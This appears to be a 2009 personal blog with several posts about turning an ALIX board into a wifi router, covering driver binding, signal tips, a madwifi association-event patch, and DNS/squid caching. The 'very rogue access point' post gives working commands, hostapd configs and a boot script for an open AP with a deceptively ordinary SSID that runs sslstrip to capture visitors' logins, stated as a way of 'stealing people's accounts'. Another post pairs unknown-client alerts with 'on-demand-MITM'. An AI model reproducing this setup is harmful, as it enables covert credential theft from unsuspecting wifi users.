I have two physical wireless cards. Until now, I was using the madwifi ath_pci modules for both cards. However, it fails a lot, is not very accurate, triggers kernel oops, losses the connection, etc. To sum up, I really don't like it. However, there is another option, by using the ath5k module. Sadly, ath5k does not support AP mode for now (well, it's experimental). So what I want to do is to use ath_pci for one card, the one that will be configured as AP, and ath5k for my client.

Thanks to a geek friend (he'll recognize himself, hein nicolas ?), he figured out that we can unbind the device, as it is explained in here.

Basically, I load both drivers (ath5k and ath_pci) when my box boots, and then, I simply do

echo 0000:00:0e.0 > /sys/bus/pci/drivers/ath5k/unbind
echo 0000:00:0e.0 > /sys/bus/pci/drivers/ath_pci/bind

We simply unbind the desired interface from ath5k and bind it again to ath_pci. To know which number to assign, just do a lspci. That works great.

Wednesday, August 12, 2009

9 hardcore tips to boost your Wifi signal [that normal people don't know about]

I'm not going to speak about adding an antenna or adding a repeater to increase your signal. This topics are trivial and well covered (just see here for instance). Instead, we will look at different optimizations for signal gain, that you probably were not aware of.
In this topic, I will mostly address the problem you might have when dealing with a medium distance access point (like your neighbour for example).


Antenna related

1) The antenna is probably the first tool you will need to have a descent signal. Choosing a good antenna does depend on the place where you live. For example, if you live in a very dense city, it makes no sense to use a 26dbi parabolic dish. Instead, you will prefer a Yagi or a panel antenna. Looking at the radiation pattern of the antenna will help you understanding what is the best for you. Moreover, if you have a high gain antenna, you will face up the hidden terminal problem. So don't fall in the trap of "the biggest the best". Of course, it will be a good idea to put your antenna outside, ie on your balcony or on the window edge.

2) Avoid using too many connectors. Indeed, every time you use a connector (or a pigtail), a large part of the signal is lost. Prefer only one wire, directly connected from your access point(AP)/card to the antenna.

3) Use very small cables. I'm always amazed when I see people on ebay selling Yagi antenna with 30 meters of coax cable. A good low-loss cable has a loss of around 0.4db/meter, it means that if you have 30 meters of cable, you are loosing 12dbi. So what's the point of having a 19dbi antenna then ?

4) The polarization of the antenna is something people usually don't care. However, a "mis-polarized" antenna can have tremendous damages on your signal If you don't know what "polarization" is, just think about your polarized sunglasses. Basically, the glasses let only pass certain type of waves. In wireless it's the same: if someone is emitting a vertically (linearly) polarized wave and you set up your antenna horizontally, you will miss the signal.
If you still don't understand what this "polarization" is, the best way to proceed is by "trial and error": turn your antenna all the way around until your get the maximal strength.
The following antenna has an horizontal polarization (source: Wikipedia), for some obvious reasons. If you take another parabolic antenna and you turn it to have a vertical polarization, you won't be able to get any signal.

However, waves might change polarization when they hit objects, so don't go too crazy with that. Usually, omnidirectional antennas are low profile antennas and tempts to have a circular polarization. Based on my observation, I would say that the vertical polarization is predominant, though.

Note that it doesn't mean because your are pointing to the AP that you will get the maximum strength (this is only true for parabolic antennas). In the future, we will see how to measure the signal in a pretty accurate manner.


802.11 & hardware related

5) If you can change the AP channel, try to take one that is not over-used in your neighbourhood. You can figure this out by counting the number of access points that are on the same channel, by using kismet for example. This makes sense, since data is braodcasted, the more people will use the same channel (even with different APs), the more collisions there will be. Note that the channels go by group of 3, like on this figure. Thus, channel 1 and 3 lie on the same frequency band, but channel 1 and 5 don't. Usually, people don't change their channel, and leave the default one (usually 6 or 1), so switching to channel 14 seems to be a good plan. Of course, if you can go 5GHz, go 5GHz, there will be even less people on there.


6) Many times, changing channel does not help, because they are all busy and a lot of people are using them. In this case, enabling RTS/CTS (Request to Send / Clear to Send) will definitely help. Basically, when a client wants to send a packet, it first sends a RTS to make sure nobody is using the channel. Then, the AP replies with a CTS to confirm that it (the client) can send its packet.
RTS/CTS is usually disabled (ie set at a very high value). If the channel is very busy, you'll need to decrease the RTS/CTS threshold, at 500b for example, meaning that a RTS will be sent only for packets >= 500b. You'll increase the overhead, but ultimately you'll transmit more packets (and avoid the hidden node problem).

To understand better why the RTS/CTS is needed, let's take this example: suppose that you are in a restaurant. If it's crowded, there will be a lot of people speaking at the same time (ie channel "busy"). By analogy - if you assume that the restaurant is the channel you are using and the people speaking are the clients using this channel - when using RTS/CTS mechanism, we take care that no other people are speaking. It's like saying "Now I'm speaking, please shut up (RTS)" to everyone in the restaurant, and the person to whom you are speaking would reply (once everybody is silent) "OK, I let you speak now, go ahead (CTS)". Of course, if you are alone in the restaurant, there is no need to say that. Well, don't do it in real life, it might be weird...

7) We have seen that when a channel is busy, we can enable the RTS/CTS mechanism. However, sometimes the link is BAD, meaning there is a lot of white noise on the line. Basically, you might have a good signal, but a lot of noise, decreasing your signal/noise ration (SNR). The trick here is to transmit smaller packets. Suppose that you are sending BIG packets and the noise destroys a packet with a certain probability, you will loose more data (and hence need to retransmit) when these packets are big rather than small. Well, this doesn't work linearly like that, but you got the idea. It means that if the packet is smaller, there will be less to retransmit. This setting can be changed through the fragmentation threshold.

That's interesting to notice that your microwave oven is running at around 2GHz and Wifi is operating at 2.4GHz. Microwave ovens are studied to maximize the absorption by water (to warm it), and it happens to be at around 2GHz. What does it mean ? It means that when it's rainy, the signal is lost in... the rain, or in other words, the Wifi is somehow warming the rain. Thus, humidity acts as a wireless barrier.

8) Have you ever looked at a wireless chip datasheet ? Here is a snippet.





What ca we see from the datasheet ?
  • The output power is maximized when the data rate is low.
  • The sensibility is maximized when the data rate is low (ie 1Mbps).
It makes sens to set the AP between 1->6Mbps, doesn't it ? We will increase the sensibility (ie we will "receive better"), and also increase the output power (ie we will "better send"). However, if you decrease *YOUR* bit rate, you will reserve the channel longer and thus, other people will see a drop down in their maximal bitrate.

9) Decrease the power of your AP: if you are living in a very tiny place and you have access to the tx power (you are using dd-wrt for example), you can decrease it. Indeed, you will radiate less and thus you will decrease the problems you might have with the neighbourhood (with RTS/CTS for example, avoiding the exposed terminal problem).

9.2) Finally, when dealing with multiple user connected to an AP, we can hack the wireless driver to gain priority. Basically, there exist techniques to reserve the channel more than usual (ie greedy user) and this will probably be a topic I'll discuss on this blog.


We are the end of our wifi-tips. I hope your learned something new and feel free to leave your impressions/comments.

Monday, August 10, 2009

Trigger an event when someone (unknown) connects to the AP

To trigger an event when someone connects to my open AP, I had the following choices:

  • Get the output of hostapd. Indeed, when someone associates, hostapd outputs some stuff.
  • We can see the modifications in /proc/net/madwifi/athX/associated_sta

    > cat /proc/net/madwifi/ath0/associated_sta
    macaddr: <00:11:f1:51:e6:10>
    RSSI 30
    last_rx 0.013332
    ni_tstamp 0 ni_rtsf 3567813500
    macaddr: <00:11:77:ce:c1:13>
    RSSI 22
    last_rx 0.003333
    ni_tstamp 0 ni_rtsf 3567821275


  • We can modify the madwifi driver to trigger some special event.
Actually, I chose the 3rd option, because it was the cleanest one in my opinion. Since I don't have a big experience with kernel programming, I first googled a little and found this. That was exactly what I was looking for. Besides, it was even easier to what I was doing (playing with inotify...).

I just could not use his patch, because I am using madwifi-hal-0.10.5.6/ in the branch/, since I had big problems with stuck beacons. Basically, what you have to do, is find the function responsible for association (supposing you want to do something when a new association occurs). In the file madwifi-hal-0.10.5.6/ath/if_ath.c, you will find the ath_newassoc(...) function, that after patching will become:


static void
ath_newassoc(struct ieee80211_node *ni, int isnew)
{
struct ieee80211com *ic = ni->ni_ic;
struct ieee80211vap *vap = ni->ni_vap;
struct ath_softc *sc = netdev_priv(ic->ic_dev);

/* Kernel Object Event patch (dmr@c0nc3pt.com) */

struct kobject *kobj = &vap->iv_dev->dev.kobj;
char atd[12], mac[4+18], bss[4+18];
char *envp_ext[] = {
atd,
mac,
bss,
NULL
};


sc->sc_rc->ops->newassoc(sc, ATH_NODE(ni), isnew);

/* are we supporting compression? */
if (!(vap->iv_ath_cap & ni->ni_ath_flags & IEEE80211_NODE_COMP))
ni->ni_ath_flags &= ~IEEE80211_NODE_COMP;

/* disable compression for TKIP */
if ((ni->ni_ath_flags & IEEE80211_NODE_COMP) &&
(ni->ni_wpa_ie != NULL) &&
(ni->ni_rsn.rsn_ucastcipher == IEEE80211_CIPHER_TKIP))
ni->ni_ath_flags &= ~IEEE80211_NODE_COMP;

ath_setup_keycacheslot(sc, ni);
#ifdef ATH_SUPERG_XR
if (1) {
struct ath_node *an = ATH_NODE(ni);
if (ic->ic_ath_cap & an->an_node.ni_ath_flags & IEEE80211_ATHC_XR)
an->an_minffrate = ATH_MIN_FF_RATE;
else
an->an_minffrate = 0;
ath_grppoll_period_update(sc);
}
#endif
/* KOE: feel free to add whatever you want... :-) */

snprintf(atd, sizeof(atd), "ASSOCIATE=%c", isnew ? '1' : '0');

snprintf(mac, sizeof(mac), "MAC=%02x:%02x:%02x:%02x:%02x:%02x",
ni->ni_macaddr[0], ni->ni_macaddr[1],
ni->ni_macaddr[2], ni->ni_macaddr[3],
ni->ni_macaddr[4], ni->ni_macaddr[5]);

snprintf(bss, sizeof(bss), "BSS=%02x:%02x:%02x:%02x:%02x:%02x",
ni->ni_bssid[0], ni->ni_bssid[1],
ni->ni_bssid[2], ni->ni_bssid[3],
ni->ni_bssid[4], ni->ni_bssid[5]);
if (kobject_uevent_env(kobj, KOBJ_CHANGE, envp_ext) < 0) {
printk(KERN_ERR "madwifi-ng kobject trouble!\n");
}
}


I find the way the event is set up is very clear and easy to understand. Then, after that, you recompile your sources and load the module.

Here comes the interesting part: setting a udev rule to catch the event. I was pissed off because it didn't work the way the guy was describing. Actually, since there was a typo, udev didn't catch the event.
Let see how to build a udev event.

> udevadm monitor --kernel --environment
monitor will print the received events for:
KERNEL - the kernel uevent

KERNEL[1249918765.975675] change /devices/pci0000:00/0000:00:0e.0/net/ath0 (net)
UDEV_LOG=0
ACTION=change
DEVPATH=/devices/pci0000:00/0000:00:0e.0/net/ath0
SUBSYSTEM=net
ASSOCIATE=1
MAC=00:26:11:A1:71:11
BSS=06:C0:B3:A3:b5:d8
INTERFACE=ath0
IFINDEX=8
SEQNUM=942


Basically, udevadm gives us the fields to enter to make our rule.

> cat /etc/udev/rules.d/99-wlan-association.rules
SUBSYSTEM=="net", ACTION=="change", ASSOCIATE=="1", RUN+="/home/root/scripts/assoc.sh"

If you want to be more precise with the udev rule, just add a new field, like the INTERFACE for example. In my case, I found this as being just great. Upon even, the script assoc.sh is executed.

Let see what this script does (as an example):

#!/bin/bash
#!/bin/sh

set $*
FILE=/home/root/scripts/macaddr.txt


RESULT=`grep ${MAC} $FILE`
if [ ! $RESULT ]
then
sms myself "${MAC} associated with ${BSS} (${INTERFACE})"
fi

The file macaddr.txt contains known MAC addresses. If grep does not find the MAC address in this file, it means that we don't know the guy that connected and the box sends me a sms. Cool, isn't it ? Now we can do on-demand-MITM (or on-association-MITM).

Again, greetz to dmr who did the kevent stuff.

Tuesday, August 4, 2009

Cache it, cache it, cache it!

Now that we have a [semi] working box, we can "boost" the connection by adding caching. We can add caching for:
  • dns queries: We already did that when setting up dnsmasq.
  • Web: a squid proxy will do the job.
Even if dnsmasq was extremely easy to configure, it has a big disadvantage: it does not keep the cache between two reboots. Personally, my box reboots at least once a day, so if I can keep the cache it would be great. After googling for a while, I figured out that dnsmasq does not have permanent caching :(. That's very sad. However, there is another another proxy dns server called pdnsd, keeping the cache permanently, ie surviving the reboots.

Here is my configuration file:

global {
perm_cache=1024;
cache_dir="/var/cache/pdnsd";
run_as="nobody";
server_ip = ath0; # Use eth0 here if you want to allow other
# machines on your network to query pdnsd.
status_ctl = on;
# but may make pdnsd less efficient, unfortunately.
query_method=udp_tcp;
min_ttl=15m; # Retain cached entries at least 15 minutes.
max_ttl=2w; #
timeout=10; # Global timeout option (10 seconds).
server_port=53;
daemon=on;
}

server {
ip="83.219.127.194";
label= "resolvconf";
# This may be necessary if you are behind some
# kind of firewall and cannot receive replies
# from outside name servers.
timeout=4; # Server timeout; this may be much shorter
# that the global timeout option.
uptest=if; # Test if the network interface is active.
interface=ath0; # The name of the interface to check.
interval=10m; # Check every 10 minutes.
purge_cache=off; # Keep stale cache entries in case the ISP's
# DNS servers go offline.
}


I put server_ip = ath0 to listen to my WPA encrypted interface. The IP entry is one of the /etc/resolv.conf file. This is not really interesting to have to import manually the nameserver from resolv.conf, but it is not really hard to do a small script that does it. There are plenty of ressources for that on the net.

If the router's IP address is 192.168.100.1, you have to add "nameserver 192.168.100.1" to the client's resolv.conf. Then, you can test that it is working properly (from the client):


> dig @192.168.100.1 mycokemusic.ch mx

;; QUESTION SECTION:
;mycokemusic.ch. IN MX

;; ANSWER SECTION:
mycokemusic.ch. 3600 IN MX 10 mx.eunet.at.

;; AUTHORITY SECTION:
mycokemusic.ch. 3587 IN NS ns3.ko.com.
mycokemusic.ch. 3587 IN NS ns4.ko.com.

;; ADDITIONAL SECTION:
ns3.ko.com. 123575 IN A 205.160.52.52
ns4.ko.com. 49422 IN A 205.160.52.53

;; Query time: 365 msec
;; SERVER: 192.168.100.1#53(192.168.100.1)
;; WHEN: Tue Aug 4 20:34:38 2009
;; MSG SIZE rcvd: 133





> dig @192.168.100.1 mycokemusic.ch mx

;; QUESTION SECTION:
;mycokemusic.ch. IN MX

;; ANSWER SECTION:
mycokemusic.ch. 3597 IN MX 10 mx.eunet.at.

;; AUTHORITY SECTION:
mycokemusic.ch. 3584 IN NS ns3.ko.com.
mycokemusic.ch. 3584 IN NS ns4.ko.com.

;; ADDITIONAL SECTION:
ns3.ko.com. 123572 IN A 205.160.52.52
ns4.ko.com. 49419 IN A 205.160.52.53

;; Query time: 1 msec
;; SERVER: 192.168.100.1#53(192.168.100.1)
;; WHEN: Tue Aug 4 20:34:41 2009
;; MSG SIZE rcvd: 133


We passed from 365ms to 1ms, which is not bad. Note that since we are not using dnmasq for its dns proxy settings, we have to deactivate it. I did not find how to disable it, so I simply added port=1 to the dnsmasq.conf.

Now it's time for squid. As you probably now, squid has a feature called "accelerator mode". The idea here is that we want to configure the proxy and the user not to have to configure it manually (ie transparent proxying).
I did not change a lot from the squid.conf default file. I added the following at the end of the file:

acl port80 port 80
http_access allow port80
always_direct allow all


I also changed the file were the cache is written, due to the partitioning of my CF.

cache_mem 100 MB
cache_dir ufs /home/squid/ 100 16 256


After that, squid is opened on port 3128. We want to redirect all the http traffic toward the squid proxy (the same way we did for sslstrip)

iptables -t nat -A PREROUTING -i ath0 -p tcp --dport 80 -j REDIRECT --to-port 3128


From the client, you should be able to connect to the net, without having to modify the network settings of your browser.

By using these two caching methods we substantially decreased the amount of internet traffic ;)

Thursday, July 30, 2009

The stuck bacon nightmare

Everything was going so well that it could not continue. The driver is giving me stuck beacons that reset the AP and make it unusable. RAA

wifi0: ath_bstuck_tasklet: Stuck beacon; resetting (beacon miss count: 11)


This is a well known issue, though. Some people try to tweak the parameters, others have some voodoo techniques that did not work for me. Now I am patching ath5k to support master mode, but it is not really working.

Now, I am trying the wireless-testing branch of the kernel, with the last drivers available, we'll see...

EDIT: Finally, I tried a bunch of different stuff to make it work, without success. However, I was able to decrease somehow the number of Stuck beacon by doing the following:
  1. Downloading madwfi on the repository (http://madwifi-project.org/svn)
  2. in ath/if_ath_pci.c, we can tweak the PCI latency: pci_write_config_byte(pdev, PCI_LATENCY_TIMER, 0x20);
  3. Do the voodoo stuff as described in here
  4. You can try to switch to ath5k, but master mode was not really successful on my side.

Sunday, July 26, 2009

A very rogue access point: MITM is BACK !

My alix3d3 is becoming little by little a nice Wifi powered router/access point. Previously, we have seen how to make an access point from it. Now, we will see how to make a home router and even more.

For our experiment, I will use an AR5413 based card (ath_pci module). The network infrastructure looks the following:



Basically, we have the physical interface (wifi0) and on the top of that, we create 3 different virtual interfaces:
  1. ath0: an encrypted interface, we use for example wpa2.
  2. ath1: an open interface on which everybody will be able to connect. On this one we will perform a "Man-in-the-middle" attack.
  3. ath2: is our interface that is in "managed" mode, and will be the one that will provide Internet. It could be an ethernet interface.


Now that we have in mind the network map, we can start working. we will separate the work in different steps:
  1. Create the virtual interfaces
  2. create the access points with hostapd
  3. Provide internet
  4. Set the man in the middle
  5. automate this for the next reboot.

The first step is to create the 3 different interfaces:


wlanconfig ath0 destroy; wlanconfig ath0 create wlandev wifi0 wlanmode ap; ifconfig ath0 192.168.100.1 netmask 255.255.255.0
wlanconfig ath1 destroy; wlanconfig ath1 create wlandev wifi0 wlanmode ap; ifconfig ath1 192.168.101.1 netmask 255.255.255.0
wlanconfig ath2 destroy; wlanconfig ath2 create wlandev wifi0 wlanmode managed; ifconfig ath2 up


The output sould be something like:

> ifconfig

ath0 Link encap:Ethernet HWaddr 0E:FC:CB:2D:54:1A
inet addr:192.168.100.1 Bcast:192.168.100.255 Mask:255.255.255.0
inet6 addr: fe80::4c0:caff:fe1f:442b/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)

ath1 Link encap:Ethernet HWaddr 0E:FC:CB:2D:54:1A
inet addr:192.168.101.1 Bcast:192.168.101.255 Mask:255.255.255.0
inet6 addr: fe80::8c0:caff:fe1f:442b/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)

ath2 Link encap:Ethernet HWaddr 0E:FC:CB:2D:54:1A
inet6 addr: fe80::cc0:caff:fe1f:442b/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)

> iwconfig

ath0 IEEE 802.11g ESSID:"" Nickname:""
Mode:Master Frequency:2.462 GHz Access Point: Not-Associated
Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=1/1
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/70 Signal level=-83 dBm Noise level=-83 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0

ath1 IEEE 802.11g ESSID:"" Nickname:""
Mode:Master Channel:0 Access Point: Not-Associated
Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=1/1
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/70 Signal level=-83 dBm Noise level=-83 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0

ath2 IEEE 802.11g ESSID:"" Nickname:""
Mode:Managed Channel:0 Access Point: Not-Associated
Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=1/1
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/70 Signal level=-83 dBm Noise level=-83 dBm
Rx invalid nwid:9 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0


If you set an ESSID for the interface ath0 and ath1, you will be able to connect right away. However, we want to add some security to ath0. For this, we will use hostapd. We will write two different hostapd.conf files, one for each ap (ath0 and ath1).

Here is the output for the open access point, I did not change from the default settings.


interface=ath1 ****
driver=madwifi ****
logger_syslog=1
logger_syslog_level=1
logger_stdout=1
logger_stdout_level=1
dump_file=/tmp/hostapd.dump
ctrl_interface=/var/run/hostapd
ctrl_interface_group=0
ssid=NETGEAR-211 ****
hw_mode=g ****
channel=1 ****
beacon_int=300 ****
dtim_period=2
max_num_sta=5
rts_threshold=2347
fragm_threshold=2346
acaddr_acl=0
auth_algs=3
ignore_broadcast_ssid=0
wme_enabled=1
wme_ac_bk_cwmin=4
wme_ac_bk_cwmax=10
wme_ac_bk_aifs=7
wme_ac_bk_txop_limit=0
wme_ac_bk_acm=0
wme_ac_be_aifs=3
wme_ac_be_cwmin=4
wme_ac_be_cwmax=10
wme_ac_be_txop_limit=0
wme_ac_be_acm=0
wme_ac_vi_aifs=2
wme_ac_vi_cwmin=3
wme_ac_vi_cwmax=4
wme_ac_vi_txop_limit=94
wme_ac_vi_acm=0
wme_ac_vo_aifs=2
wme_ac_vo_cwmin=2
wme_ac_vo_cwmax=3
wme_ac_vo_txop_limit=47
wme_ac_vo_acm=0
eapol_key_index_workaround=0
eap_server=0
own_ip_addr=127.0.0.1

I added an arrow where the default parameters must be changed. One might wonder "why are we setting such an ESSID "NETGEAR-211" ?" The reason is that if you put something like "free_wifi", it might alarm the person who wants to connect (free wifi ? Why ? sounds weird), whereas NETGEAR is the default essid for netgear ap's. I added a "-211" to know that it is mine.

For the other access point, we do almost the same, but this time with wpa enabled:

interface=ath0
driver=madwifi
logger_syslog=-1
logger_syslog_level=2
logger_stdout=-1
logger_stdout_level=2
dump_file=/tmp/hostapd.dump
ctrl_interface=/var/run/hostapd
ctrl_interface_group=0
ssid=blabla *****
hw_mode=g
channel=1
beacon_int=300
dtim_period=2
max_num_sta=255
rts_threshold=2347
fragm_threshold=2346
macaddr_acl=0
auth_algs=3
ignore_broadcast_ssid=0
wme_enabled=1
wme_ac_bk_cwmin=4
wme_ac_bk_cwmax=10
wme_ac_bk_aifs=7
wme_ac_bk_txop_limit=0
wme_ac_bk_acm=0
wme_ac_be_aifs=3
wme_ac_be_cwmin=4
wme_ac_be_cwmax=10
wme_ac_be_txop_limit=0
wme_ac_be_acm=0
wme_ac_vi_aifs=2
wme_ac_vi_cwmin=3
wme_ac_vi_cwmax=4
wme_ac_vi_txop_limit=94
wme_ac_vi_acm=0
wme_ac_vo_aifs=2
wme_ac_vo_cwmin=2
wme_ac_vo_cwmax=3
wme_ac_vo_txop_limit=47
wme_ac_vo_acm=0
eapol_key_index_workaround=0
eap_server=0
own_ip_addr=127.0.0.1
wpa=1
wpa_passphrase=yeahthisisagoodpass ******
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP CCMP

Now we can lauch our two instances of hostapd:

hostapd -B /etc/hostapd/hostapd.conf
hostapd -B /etc/hostapd/hostapd_freewifi.conf

You should now be able to connect to the each of these aps, using static IP addresses.

To get internet, we should still configure ath2 to forward the packets:

iwconfig ath2 essid voisin key 78:02:15:20:23
dhcpcd ath2
[...]
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o ath2 -j MASQUERADE

Now you should be able to have internet by connecting on ath0 and ath1. Good :)

We want our victims to connect on our AP extremely easily, hence we need at least a dhcp server to give them an IP address. For this, I chose "dnsmasq", because it is very easy to configure. In the same time, we will provide a DNS cache to boost our dns requests.


# cat /etc/dnsmasq.conf
listen-address=192.168.100.1,192.168.101.1,127.0.0.1
dhcp-range=192.168.100.50,192.168.100.150,255.255.255.0,12h
dhcp-range=192.168.101.50,192.168.101.150,255.255.255.0,12h
log-dhcp

You can see what is happening in /var/log/message when someone does a DHCP request. Note that we provide no interface in here, in order to respond to all the dhcp request comming on the different interfaces. Thus, even ath0 will profit of the DHCP server.

/etc/rc.d/dnsmasq start


At this point, we have two working APs providing internet. We want not to do some devil stuff, by stealing people's accounts in a very discrete fashion. I thought for a while about which was the best way to do this. A long time ago, I was using ettercap, but for the router, it is not very a good choice. Then I was wondering if dsniff suite could do the job. It does, but I was not really convinced. You know, when you connect to a website requiring a ssl certificate, if you are using ettercap, you will get some huge WARNING all the way around. This is not what I call "discrete".

Anyways, after few minutes, I found a tool called sslstrip. This tool has been presented at blackhat last year and does a pretty good job. I let you see on their website how it works for more info. To make it work, it is damn easy:

iptables -i ath1 -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
sslstrip -p -f -w ./verycool.txt

Note that iptables is acting on ath1. Now if you try to connect on the open AP, guess what happens ? I was surprised to see how well it works. The drawback is that it slows down a bit the connection.

Now, we don't want to redo this every time the alix reboots. I modified the /etc/rc.d/hostapd into /etc/rc.d/hostapd_mod:

> less /etc/init.d/hostapd_mod
#!/bin/bash

. /etc/rc.conf
. /etc/rc.d/functions

case "$1" in
start)
stat_busy "Destroying and creating ath0"
wlanconfig ath0 destroy; wlanconfig ath0 create wlandev wifi0 wlanmode ap; ifconfig ath0 192.168.100.1 netmask 255.255.255.0
stat_busy "Destroying and creating ath1"
wlanconfig ath1 destroy; wlanconfig ath1 create wlandev wifi0 wlanmode ap; ifconfig ath1 192.168.101.1 netmask 255.255.255.0
stat_busy "Starting hostapd"
sleep 1
/usr/bin/hostapd -B -P /var/run/hostapd.pid /etc/hostapd/hostapd.conf &> /dev/null
/usr/bin/hostapd -B -P /var/run/hostapd.pid2 /etc/hostapd/hostapd_freewifi.conf &> /dev/null
stat_busy "Starting sslstrip"
iptables -i ath1 -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
stat_busy "Destroying and creating ath2"
wlanconfig ath2 destroy; wlanconfig ath2 create wlandev wifi0 wlanmode managed;
iptables -t nat -A POSTROUTING -o ath2 -j MASQUERADE
sslstrip -p -f -w /home/root/cool_stuff-`date +"%H-%M-%m-%d"`.txt &
if [ $? -gt 0 ]; then
stat_fail
else
stat_done
add_daemon hostapd
fi
;;
stop)
stat_busy "Stopping hostapd"
[ -f /var/run/hostapd.pid ] && kill `cat /var/run/hostapd.pid` && kill `cat /var/run/hostapd.pid2` && killall sslstrip &> /dev/null
if [ $? -gt 0 ]; then
stat_fail
else
stat_done
rm_daemon hostapd
fi
;;
restart)
$0 stop
sleep 1
$0 start
;;
*)
echo "usage: $0 {start|stop|restart}"
esac

This is probably not the cleanest way to do, but it works pretty well. However, ath2 does not connect to the AP here (manually for now).

/etc/rc.conf has the following:


DAEMONS=(network sshd crond dnsmasq hostapd_mod)

lo="lo 127.0.0.1"
eth0="eth0 192.168.2.3 netmask 255.255.255.0 up"
ath0="ath0 192.168.101.1 netmask 255.255.255.0 up"
ath1="ath1 192.168.100.1 netmask 255.255.255.0 up"
ath1="ath1 up"
INTERFACES=(eth0 ath0 ath1 ath2)


Obviously, an easy way to circumvent this MITM is to use a VPN for example or an encrypted connexion.